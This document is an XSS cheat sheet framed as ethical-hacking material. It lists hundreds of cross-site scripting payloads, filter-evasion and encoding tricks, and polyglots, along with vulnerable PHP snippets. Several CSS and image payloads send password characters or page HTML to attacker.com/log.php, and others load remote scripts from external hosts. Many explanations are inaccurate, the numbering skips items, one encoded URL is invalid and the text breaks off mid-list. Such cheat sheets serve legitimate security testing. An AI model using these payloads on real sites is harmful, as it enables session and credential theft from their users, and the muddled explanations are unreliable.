Ethical Hacking and Countermeasures

Cross-site Scripting (XSS) Cheat Sheet

XSS cheat sheet explains how the attacker interacts with the server by invoking the dynamic content in an HTTP response. This section includes the design of web pages using HTML, cascading style sheets used for creating the design of styles in HTML, validation techniques used in client side by applying JavaScript, etc. This section explains how the attacker attacks the Application Programming Interface (API) vectors of an application program. These XSS codes are used to test the websites for detecting the vulnerabilities.

HTML Tricks

1) ***<img/src=”picture_name.png” alt=”image”>***

   Objective: This is used to display the image specified on an HTML page of file type and renames the name of the image accordingly with the name specified in the **alt** tag.

2) ***<object>***

   <param name=”src” value=”javascript:alert(0)”>

   </param>

   </object>

   Objective: **<param**> tag is used to define the parameter name for object plugins, which are embedded within the <**object**> tag. These plugins may also include the multimedia audio/video file types. Here we are assigning the source as parameter name.

3) ***<isindex type=image src=1 onerror=alert(1)>***

   <isindex action=javascript:alert(1) type=image>

   Objective: The **<isindex>** element creates single line search prompt for retrieving the contents of the document. Here it retrieves the image of source 1 and displays the alert message if any error occurs which is specified in the **action** element.

CSS Tricks

1) ***<style>***

   Input[type=password][value^=a]

   {

   -background:"//attacker.com/log.php?hash[]=a";

   }

   Input[type=password][value^=b]

   {

   -background:"//attacker.com/log.php?hash[]=b";

   }

   </style>

   Example: ***<input type=password value="h@cking@ttempt">***

   Objective: Here, we design the password field in a form and initiate the array string to enter the value in the field.

2) ***<img src='http://attacker.com/log.php?HTML=***

   <form>

   <input type="hidden" name="nonce" value="148b32e899c83a">

   ………

   ………

   <script>

   X='gsde';

   Objective: Here, from the above **src** link we specify the address of website with HTML in the end, this will help the attacker to receive all the HTML code until the given quote information.

Java Server Pages Tricks

1) ***<%@ include file="/libs/organisation/environment.jsp" %>***

<title>

   <%= xssAPI.encodeForHTML(title); %>

   </title>

   Objective: Here, the server page file is included and then the content of the server page will be encoded with the HTML tag data.

XSS API Validators

1) ***public String getValidDimension(String dimension, String defaultValue);***

   Objective: This statement is used to get the valid dimension for any image or figure.

2) ***public String getValidHref(String url);***

   Objective: It is used to get a valid URL link which is defined with String datatype.

3) ***public String getValidJSToken(String token, String defaultValue);***

   Objective: This statement is used to validate the JavaScript token.

4) ***public getValidInteger(String integer, int defaultValue);***

   Objective: This statement is used to get the valid integer for a string.

5) ***Public getValidLong(String long, long defaultValue);***

   Objective: This statement is used to get the valid long datatype for a string.

XSS API Filters

1) ***public String filterHTML(String source);***

   Objective: This statement filters the library file specified with a string datatype.

XSS API Encoders

1) ***public String encodeForHTML(String source);***

   Objective: This statement encodes the string, which is specified in the HTML tag.

2) ***public String encodeForHTMLAttr(String source);***

   Objective: This statement encodes the string, which is specified in the HTML attribute.

3) ***public String encodeForJSString(String source);***

   Objective: This statement encodes the JavaScript string.

4) ***public static encodeForXML(String source);***

   Objective: This statement encodes the XML tag data.

5) ***public String encodeForXMLAttr(String source);***

   Objective: This statement encodes the attributes of XML tag data.

Event Handlers

Event handlers are supposed to handle the events of physical devices dynamically. This includes the operations and functionalities of program resources. These are few operations which the hacker attempts using these operations.

1) ***onBeforeCopy()***

   Objective: It is used by the attacker to execute the attack string before selecting the content copied to the clipboard.

2) ***onAbort()***

   Objective: This is aborted by the user upon loading the image.

3) ***onAfterUpdate()***

   Objective: This will activate the data object after updating the source object data.

4) ***onActivate()***

   Objective: This is used to set the active element of an object.

5) ***FSCommand()***

   Objective: This command is used by the attacker to alter embedded flash objects.

6) ***onBlur()***

   Objective: Attacker uses it when another pop-up is loaded and window will start losing the focus.

7) ***onCellChange()***

   Objective: This operation fires when data changes are made by the data provider.

8) ***onUnload()***

   Objective: This enables automatically when user click a particular link or press any back button or attacker forces to click on a link.

9) ***onSelectionChange()***

   Objective: when user selects some text than attacker will start initializing his own way to execute commands. Example: window.document.execCommand("SelectAll");

10) ***onAfterPrint()***

    Objective: This activates after user prints or previews print job.

11) ***onBeforeActivate()***

    Objective: Fires before the object is set as the active element.

12) ***onBeforeCut()***

    Objective: Attacker executes the attack string right before a selection is cut.

13) ***onBeforeDeactivate()***

    Objective: This fires right after the active element is changed from the current object.

14) **onBeforeEditFocus()**

    Objective: This fires before an object contained in an editable element enters a UI-activated state or when an editable container object control is selected.

15) ***onBeforePaste()***

    Objective: By using this command, user is tricked into or forced into pasting using the execCommand("Paste") function.

16) ***onBeforePrint()***

Objective: By using this command, user is tricked to or forced to print using print() or execCommand("Print") function.

17) ***onBeforeUnload()***

Objective: By using this command, user is tricked to or forced to close the browser. Attacker cannot unload windows unless it was spawned from the parent.

18) ***onBeforeUpdate()***

Objective: This activates on data object before updating data in the source object.

19) ***onBegin()***

Objective: The onBegin event fires immediately when the element's timeline begins.

20) ***onBounce()***

Objective: This fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window.

21) ***onChange()***

Objective: It is used to select, text, or 'textarea' field than it loses its focus and value and is modified.

22) ***onClick()***

Objective: This is used when someone clicks on a form.

23) ***onContextMenu()***

Objective: This is used when user right clicks on attack area.

24) ***onControlSelect()***

Objective: Fires when the user is about to make a control selection of the object.

25) ***onCopy()***

Objective: When user copy something, it can be exploited using the execCommand("Copy") command.

26) ***onCut()***

Objective: When user cut something, it can be exploited using the execCommand("Cut") command.

27) ***onDataAvailable()***

Objective: When user tries to change data in an element, attacker can perform this function to explore.

28) ***onDataSetChanged()***

Objective: It is fired when the data set is exposed when a data source object changes.

29) ***onDataSetComplete()***

    Objective: This fires to indicate that all data is available from the data source object.

30) ***onDblClick()***

    Objective: This is used when user double clicks a form element or a link.

31) ***onDeactivate()***

    Objective: This method fires when the active element is changed from the current object to another object in the parent document.

32) ***onDrag()***

    Objective: It is triggered when the user drags an object.

33) ***onDragEnd()***

    Objective: It is triggered when the user drags and releases the object.

34) ***onDragLeave()***

    Objective: It is triggered when the user drags an object off a valid location.

35) ***onDragEnter()***

    Objective: It is triggered when the user drags an object into a valid location.

36) ***onDragOver()***

    Objective: It is triggered when the user drags an object over a valid location.

37) ***onDragDrop()***

    Objective: It is used when user drops an object in browser window.

38) ***onDragStart()***

    Objective: It occurs when user starts drag operation.

39) ***onDrop()***

    Objective: This is used when user drops an object in browser window.

40) ***onEnd()***

    Objective: This onEnd event fires when the timeline ends.

41) ***onError()***

    Objective: It triggers when loading of a document error or an image error arises.

42) ***onErrorUpdate()***

    Objective: It fires on a databound object when an error occurs while updating the associated data in the data source object.

43) ***onFilterChange()***

    Objective: It fires when a visual filter completes state change.

44) ***onFinish()***

Objective: By using this method, attacker can create the exploit when marquee is finished looping.

45) ***onFocus()***

Objective: Attacker executes the attack string when the window gets focus.

46) ***onFocusIn()***

Objective: Attacker executes the attack string when window gets focus.

47) ***onFocusOut()***

Objective: Attacker executes the attack string when window loses focus.

48) ***onHashChange()***

Objective: It fires when the fragment identifier part of the document's current address changed.

49) ***onHelp()***

Objective: Attacker executes the attack string when user hits F1 while the window is in focus.

50) ***onInput()***

Objective: The text content of an element is changed through the user interface.

51) ***onKeyDown()***

Objective: It is used when user press a key.

52) ***onKeyPress()***

Objective: It is used when user press or holds down a key.

53) ***onKeyUp()***

Objective: It is used when user releases a key.

54) ***onLayoutComplete()***

Objective: It is used when user has to print or print preview.

55) ***onLoad()***

Objective: Attacker executes this attack string after the window loads.

56) ***onLoseCapture()***

Objective: It can be exploited by the releaseCapture() method.

57) ***onMediaComplete()***

Objective: When a streaming media file is used, this event could fire before the file starts playing.

58) ***onMediaError()***

Objective: User opens a page in the browser that contains a media file, and the event fires when there is a problem.

59) ***onMessage()***

Objective: Fires when the document received a message.

60) ***onMouseDown()***

Objective: The attacker would need to get the user to click on an image.

61) ***onMouseEnter()***

Objective: Here**,** cursor moves over an object or area.

62) ***onMouseLeave()***

Objective: It triggers when the user moves the mouse over an image or table and then off again.

63) ***onMouseMove()***

Objective: The attacker would need to get the user to mouse over an image or table.

64) ***onMouseOut()***

Objective: The attacker would need to get the user to mouse over an image or table and then off again.

65) ***onMouseOver()***

Objective: Here**,** cursor moves over an object or area.

66) ***onMouseUp()***

Objective: The attacker would need to get the user to click on an image.

67) ***onMouseWheel()***

Objective: The attacker would need to get the user to use their mouse wheel.

68) ***onMove()***

Objective: The user or attacker would move the page.

69) ***onMoveEnd()***

Objective: The user or attacker would move the page and releases at the end.

70) ***onMoveStart()***

Objective: The user or attacker would move the page by initiating the process at the start.

71) ***onOffline()***

Objective: This occurs if the browser is working in online mode and it starts to work offline.

72) ***onOnline()***

Objective: This occurs if the browser is working in offline mode and it starts to work online.

73) ***onOutOfSync()***

Objective: It will interrupt the element's ability to play its media as defined by the timeline.

74) ***onPaste()***

Objective: The user applies to paste or attacker should use the execCommand("Paste") function.

75) ***onPause()***

Objective: The 'onpause' event fires on every element that is active when the timeline pauses, including the body element.

76) ***onPopState()***

Objective: This fires when user navigated the session history.

77) ***onProgress()***

Objective: The attacker uses this as a flash movie during loading.

78) ***onPropertyChange()***

Objective: The user or attacker has to change an element property.

79) ***onReadyStateChange()***

Objective: The user or attacker has to change an element property for a ready state.

80) ***onRedo()***

Objective: The user goes forward in and undo the transaction history.

81) ***onRepeat()***

Objective: The event fires once for each repetition of the timeline, excluding the first full cycle.

82) ***onReset()***

Objective: The user or attacker resets a form.

83) ***onResize()***

Objective: The user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(600,500);</SCRIPT>.

84) ***onResizeEnd()***

Objective: The user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(600,500);</SCRIPT>.

85) ***onResizeStart()***

Objective: The user would resize the window; attacker could auto initialize with something like: `<SCRIPT>self.resizeTo(600,500);</SCRIPT>`.

86) ***onResume()***

Objective: The 'onresume' event fires on every element that becomes active when the timeline resumes, including the body element.

87) ***onReverse()***

Objective: If the element has a 'repeatCount' greater than one, than this event fires every time the timeline begins to play backward.

88) ***onRowsEnter()***

Objective: The user or attacker has to change a row in a data source while entering the rows.

89) ***onRowExit()***

Objective: The user or attacker has to change a row in a data source while exiting the row.

90) ***onRowDelete()***

Objective: The user or attacker has to delete a row in a data source.

91) ***onRowInserted()***

Objective: The user or attacker has to insert a row in a data source.

92) ***onScroll()***

Objective: The user would need to scroll, or attacker could use the `scrollBy()` function.

93) ***onSeek()***

Objective: The on reverse event fires when the timeline is set to play in any direction other than forward.

94) ***onSelect()***

Objective: The user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`

95) ***onSelectStart()***

Objective: The user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`

96) ***onStart()***

Objective: This method fires at the beginning of each marquee loop.

97) ***onStop()***

Objective: The user would need to press the stop button or leave the webpage.

98) ***onStorage()***

Objective: This method used for changing the storage.

99) ***onSyncRestored()***

Objective: The user interrupts the element's ability to play its media as defined by the timeline to fire.

100) ***onSubmit()***

Objective: The method used when attacker or user submits a form.

101) ***onTimeError()***

Objective: The user or attacker sets a time property, such as duration, to an invalid value.

102) ***onTrackChange()***

Objective: The user or attacker changes track in a playlist.

103) ***onUndo()***

Objective: The user went backward in undo transaction history.

104) ***onURLFlip()***

Objective: This event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file.

105) ***seekSegmentTime()***

Objective: This is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.

URL Strings

Assume that some url like "http://facebook.com/" is disabled programmatically. Than the hacking attempt can be made as below.

We can provide IP as:

<a href="http://54.192.8.148/>link</a>

Url encoding can be provided as below.

<a href=http://%66%66%66%2C%56%6G%6G%67%6E%65%2C%63%6D%6E> link </a>

Types of XSS

These exists three types of XSS

- Persistent XSS in which the attack is stored in the server website.
- Non Persistent XSS where user has to invoke a link.
- DOM based XSS where issues start at client side scripting.

1) Persistent XSS

The below code explains the exploitation of application.

```
<?php
if(isset($_POST['btnSign'])) {
$message=trim($_POST['mtxMessage']);
$name=trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ( '$message','$name');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>'); }
?>
```

Objective:

Here initially we have designed the webpage in which a form includes text field labelled **Name**, text area labelled **Message** and a button to sign into guest book. The above code is executed when user inputs the data and submits the action to post it to the server database. In the above code there are two parameters **Message** and **Name**, which is not sanitized properly so we use the trim operation to sanitize it in order to store in the mysql database server upon submitting the user input. The code executes the query at client side and displays successful query message else returns the mysql error message and directly stores it over server database. However, the code has the defect, which is not sanitized properly even after using the trim operation. So when the user types the javascript code as input like **<script> alert("here it comes the stored XSS"); </script**> than because of sanitization issue it makes the hacker an opportunity to attack the website and store the given input in the server database.

2) Non-Persistent XSS

The below code explains how the application is exploited because of injecting the malicious JavaScript URL as input.

```
<?php
    if(!array_key_exists("name",$_GET)       ||$_GET['name']      ==      NULL      ||
    $_GET['name']=='')
    {
$isempty=true;
    }
    else
    {
    echo '<pre>';
    echo 'Hello' . $_GET['name'];
    echo '</pre>';
    }
?>
```

Objective:

Here initially there is a web form given a label to enter the name in the text field followed by the submit button. Here we have designed the code using **GET** method, this method will display the URL content for all the inputs in the form which the user provides upon submitting the details. The above code is used to display the name string provided by the user. If the hacker accesses the webpage and uses the input as **<script> alert("xss") </script>** this creates the vulnerability and url also displays the input at link and starts altering it.

3) DOM Based XSS

The below code explains the user selects the language using drop down option menu.

```
<select>
<script>
document.write("<OPTION
value=1>"+document.location.href.substring(document.location.href.indexOf("default
=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script>
</select>
```

The page displays the URL as

http://www.some.site/page.html?default=French

The hacker attempts like this
http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

Objective:

This will make the hacker to type the script at the URL to make an attempt to alter the data from client side.

XSS Locator

1) ***'';!--"<XSS>=&{()}***

   Objective: String injection, source view and searching for “XSS”, check with “<XSS” verses “&lt;XSS” it becomes vulnerable.

2) ***';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";***

   alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--

   ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

   Objective: String injection checking for vulnerability.

3) ***<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>***

   Objective: Normal java script injection.

4) ***<IMG SRC="javascript:alert('XSS');">***

   Objective: Passes the script message at image URL becomes vulnerable.

5) ***<IMG SRC=javascript:alert('XSS')>***

   Objective: Passes the script message XSS Without quotes and semicolon at image URL becomes vulnerable.

6) **<IMG SRC="jav&#x0D;ascript:alert('XSS');">**

   Objective: Embeddingcarriage return to break up the XSS.

7) ***<IMG SRC=JaVaScRiPt:alert('XSS')>***

   Objective: It passes the script message XSS which is case sensitive XSS vector attack in image URL.

8) ***<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>***

   Objective: It passes the script message XSS with HTML entities.

9) **<object data="javascript:alert(1)">**

   Objective: Object data attribute with JavaScript protocol.

10) ***<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>***

    Objective: Unicode encoding of UTF-8 applicable over Internet Explorer and Opera browsers.

11) ***<IMG***

    SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

    Objective: Unicode encoding of UTF-8 without semicolons applicable over Internet Explorer and Opera browsers.

12) ***<IMG***

    SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

    Objective: Unicode encoding of UTF-8 without semicolons with hex characters applicable over Internet Explorer and Opera browsers.

13) ***<IMG SRC="jav&#x09;ascript:alert('XSS');">***

    Objective: Embedded tab breaking the XSS Vector.

14) ***<IMG SRC="jav&#x0A;ascript:alert('XSS');">***

    Objective: Embedded new line to break the XSS Vector.

15) **<IMG SRC="javascript:alert('XSS');">**

    Objective: Image XSS using the JavaScript directive.

16) **<IMG SRC=javascript:alert('XSS')">**

    Objective: Injecting Multiline JavaScript using ASCII carriage returns.

17) ***<SCRIPT>***

    a=/XSS/

    alert(a.source)

    </SCRIPT>

    Objective: XSS without single quotes or semicolons or double quotes.

18) **<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">**

    Objective: Used to input image.

19) ***<BODY BACKGROUND="javascript:alert('XSS')">***

    Objective: It is used for attacking Image of a body.

20) ***<BODY ONLOAD=alert('XSS')>***

    Objective: It is used for attacking Tag of a body.

21) ***<IMG DYNSRC="javascript:alert('XSS')">***

    Objective: This attacks dynamic source of an image HTML.

22) ***<BGSOUND SRC="javascript:alert('XSS');">***

    Objective: This attacks the background sound element.

23) ***<br size="&{alert('XSS')}">***

    Objective: It is applicable in Netscape 4.x to inject JS in break tab.

24) ***<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>***

    Objective: It is applicable in Netscape 4.x to inject JS in Layer tag.

25) ***<LINK REL="stylesheet" HREF="javascript:alert('XSS');">***

    Objective: This represents the attack on Style sheet by injecting JS.

26) ***<IMG SRC='vbscript:msgbox("XSS")'>***

    Objective: represents the attack on image tag by injecting VBscript.

27) ***<IMG SRC="mocha:[code]">***

    Objective: It represents the **'**Mocha' the older versions of Netscape attack in an image.

28) ***<IMG SRC="livescript:[code]">***

    Objective: It represents the **'**LiveScript' the older versions of Netscape attack in an image.

29) **'}alert(1);{'**

    '}alert(1)%0A{'

    \'}alert(1);{//

    Objective: Code Injection in Logical Block.

30) **\'-alert(1)//**

    Objective: Javascript Context – Code Injection with Escape Bypass.

31) **</script><svg onload=alert(1)>**

    Objective: — Tag Injection in Javascript Context

32) **</tag><svg onload=alert(1)> "></tag><svg onload=alert(1)>**

    *Objective:*In Block Tag Injection is used in HTML Context inside the following tags <title>, <style>, <script>, <textarea>, <noscript>, <pre>, <xmp> and <iframe> .

33) **"onmouseover=alert(1)// "autofocus/onfocus=alert(1)//**

    *Objective:*Inline Injection in HTML Context.

34) **javascript:alert(1) data:text/html,<svg onload=alert(1)**

Objective:– Source Injection in HTML Context.

35) ***<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">***

Objective: It represents the attack on Meta refreshing URL's.

36) **<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">**

Objective: Represents Meta using data.

37) **<IFRAME SRC="javascript:alert('XSS');"></IFRAME>**

Objective: It represents IFRAME

38) ***<IFRAME SRC=javascript:alert('XSS')></IFRAME>***

Objective: It represents Injecting JS on inline frame tag.

39) **<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>**

Objective: Represents Iframe event based.

40) ***<FRAMESET>***

<FRAME SRC=javascript:alert('XSS')>

</FRAME>

</FRAMESET>

Objective: It represents Injecting JS on Frameset tags over HTML.

41) ***<TABLE BACKGROUND="javascript:alert('XSS')">***

Objective: It represents the attack on Table tags in a HTML by injecting JS.

42) ***<DIV STYLE="background-image: url(javascript:alert('XSS'))">***

Objective: It represents the attack on Div tags in a HTML by injecting JS.

43) ***<DIV STYLE="behaviour: url('http://xss.ha.ckers.org/exploit.htc');">***

Objective: It represents the attack on Div tags in a HTML for exploiting behavior for *.htc XSS.

44) ***<DIV STYLE="width: expression(alert('XSS'));">***

Objective: It represents the attack on Div tags in a HTML for expression by injecting JS.

45) ***<STYLE>***

@im\port'\ja\vasc\ript:alert("XSS")';

</STYLE>

Objective: Style tags with broken Javascript for XSS.

46) ***<IMG STYLE='***

xss:

expre\ssion(alert("XSS"))'>

Objective: Image style with an expression for XSS parsing.

47) ***<STYLE TYPE="text/javascript">alert('XSS');</STYLE>***

Objective: It represents the style tag for Netscape only.

48) ***<STYLE TYPE="text/css">***

.XSS

{

background-image:url("javascript:alert('XSS')");

}

</STYLE>

<A CLASS=XSS></A>

Objective: The style tag used for attacking background image.

49) ***<STYLE type="text/css">***

BODY

{

background:url("javascript:alert('XSS')")

}

</STYLE>

Objective: The style tag used for attacking background URL.

50) ***<BASE HREF="javascript:alert('XSS');//">***

Objective: Base tag image attack using JS.

51) **<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>**

Objective: Represents Object tag.

52) ***<OBJECT data=http://xss.ha.ckers.org width=400 height=400 type=text/x-scriptlet">***

Objective: It represents the attack on Object tag injecting virus payloads.

53) ***getURL("javascript:alert('XSS')")***

Objective: This representing embedding of any flash movie containing XSS for attacking using OBJECT tag.

54) ***a="get";***

```
b="URL";
c="javascript:";
d="alert('XSS');";
eval(a+b+c+d);
```

Objective: By using the above action, script inside flash can obfuscate your XSS vector.

55)
```
<XML SRC="javascript:alert('XSS');">
```

Objective: This represent the XML attack vector using XSS.

56)
```
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
```

Objective: Assuming you can only write into the <IMG SRC="$yourinput"> field and the string "javascript:" is recursively removed.

57)
```
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
```

Objective: Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.

58)
```
<!--#exec cmd="/bin/echo '<SCRIPT
SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
```

Objective: Attack on SSI, which requires the installation of SSI.

59)
```
><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>

<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>

<script>alert(document.cookie)</script>">

<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">

<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">
```

Objective: Polyglots can be used in more than one form; hence they are used to bypass filters.

60)
```
` `[`javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/`](javascript:/*--%3E%3C/title%3E%3C/style%3E%3C/textarea%3E%3C/script%3E%3C/xmp%3E%3Csvg/onload='+/%22/+/onmouseover=1/+/)`[*/[]/+alert(1)//'>`
```

Objective: This test will execute in multiple contexts including html, script string, js and url.

XSS using HTML Quote Encapsulation

1) ***<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

   Objective: It is used for testing an IP. For performing XSS on sites that allow "<SCRIPT>" but do not allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i".

2) ***<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

   Objective: For performing XSS on sites that allow "<SCRIPT>" but don't allow "&ltscript src..."by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i".

3) ***<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

   Objective: XSS for evading the filter by using double colon.

4) ***<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

   Objective: XSS for evading the filter by using single colon.

5) ***"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i".***

   <SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

   Objective: This is another XSS to evade the same filter.

6) ***<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

   Objective: This will block all the active content.

7) **<script>onerror=alert;throw 1</script>**

   Objective: No parenthesis using exception handling.

8) **<script>{onerror=alert}throw 1</script>**

   Objective: No parenthesis using exception handling no semi colons.

9) **<script>throw onerror=alert,1</script>**

   *Objective:*No parenthesis using exception handling no semi colons using expressions.

10) **<script>throw onerror=eval,'=alert\x281\x29'</script>**

    *Objective:*No parentheses using exception handling and eval.

11) **<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>**

    Objective: No parentheses using exception handling and eval on Firefox.

12) **<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>**

    Objective: No parentheses using ES6 hasInstance and instanceof with eval.

13) **<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>**

    Objective: No parentheses using ES6 hasInstance and instanceof with eval without.

14) **<script>location='javascript:alert\x281\x29'</script>**

    Objective: No parentheses using location redirect.

15) **<script>location=name</script>**

    Objective: No parentheses using location redirect no strings.

16) **<script>alert`1`</script>**

    Objective: No parentheses using template strings.

Frame Works

1) **<xss class=progress-bar-animated onanimationstart=alert(1)>**

   Objective: Representing Bootstrap onanimationstart event.

2) **<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>**

   Objective: Representing Bootstrap ontransitionend event.

Protocol

1) **<object data="javascript:alert(1)">**

   Objective: It represents Object data attribute with JavaScript protocol.

2) **<embed src="javascript:alert(1)">**

   Objective: It represents Embed src attribute with JavaScript protocol

3) **<a href="javascript:alert(1)">XSS</a>**

   Objective: It represents A standard JavaScript protocol

4) **<a href="JaVaScript:alert(1)">XSS</a>**

   Objective: It represents The protocol is not case sensitive.

5) **<a href="javascript:alert(1)">XSS</a>**

   Objective: It represents characters \x01-\x20 are allowed before the protocol.

6) **<a href="javas cript:alert(1)">XSS</a>**

   Objective: It represents characters \x09,\x0a,\x0d are allowed inside the protocol.

7) **<a href="javascript:alert(1)">XSS</a>**

   Objective: It represents characters \x09,\x0a,\x0d are allowed after protocol name before the colon.

8) **<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>**

   Objective: It represents Xlink namespace inside SVG with JavaScript protocol.

9) **<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>**

   Objective: It represents SVG animate tag using values.

10) **<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>**

   Objective: It represents SVG animate tag using to.

11) **<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>**

   Objective: It represents SVG set tag.

12) **<script src="data:text/javascript,alert(1)"></script>**

   Objective: It represents Data protocol inside script src.

13) **<svg><script href="data:text/javascript,alert(1)" />**

   Objective: It represents SVG script href attribute without closing script tag.

17) **<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>**

   Objective: Represents SVG use element Chrome/Firefox.

18) **<script>import('data:text/javascript,alert(1)')</script>**

   Objective: Represents import statement with data URL.

19) **<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>**

   Objective: Represents base tag with JavaScript protocol rewriting relative URLS.

20) **<math><x href="javascript:alert(1)">blah**

   Objective: Represents MathML makes any tag clickable.

21) **<form><button formaction=javascript:alert(1)>XSS**

   Objective: Represents Button and formaction.

22) **<form><input type=submit formaction=javascript:alert(1) value=XSS>**

   Objective: Represents Input and formaction.

23) **<form action=javascript:alert(1)><input type=submit value=XSS>**

   Objective: Represents Form and action.

24) **<isindex type=submit formaction=javascript:alert(1)>**

Objective: Represents Isindex and formaction.

25) **<isindex type=submit action=javascript:alert(1)>**

Objective: Represents Isindex and action.

26) **<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>**

Objective: Represents use element with an external URL.

27) **<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>**

Objective: Represents using srcdoc attribute.

28) **<iframe srcdoc="&lt;img src=1 onerror=alert(1)&gt;"></iframe>**

Objective: Represents using srcdoc with entities.

29) **<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>**

Objective: Represents click a submit element from anywhere on the page, even outside the form.

30) **<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)**

Objective: Represents hidden inputs: Access key attributes can enable XSS on normally unexploitable elements.

31) **<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)**

Objective: Represents link elements: Access key attributes can enable XSS on normally unexploitable elements.

32) **<a href=# download="filename.html">Test</a>**

Objective: Represents disable referrer using referrerpolicy.

33) **<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">**

Objective: Represents Redirect to a different domain.

34) **<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-**

Objective: Represents meta charset attribute UTF-7.

35) **<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-**

Objective: Represents meta charset UTF-7.

36) **+/v8**

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Objective: Represents UTF-7 BOM characters (Has to be at the start of the document) 1.

37) **+/v9**

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Objective: Represents UTF-7 BOM characters (Has to be at the start of the document) 2.

38) **+/v+**

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Objective: Represents UTF-7 BOM characters (Has to be at the start of the document) 3.

39) **+/v/**

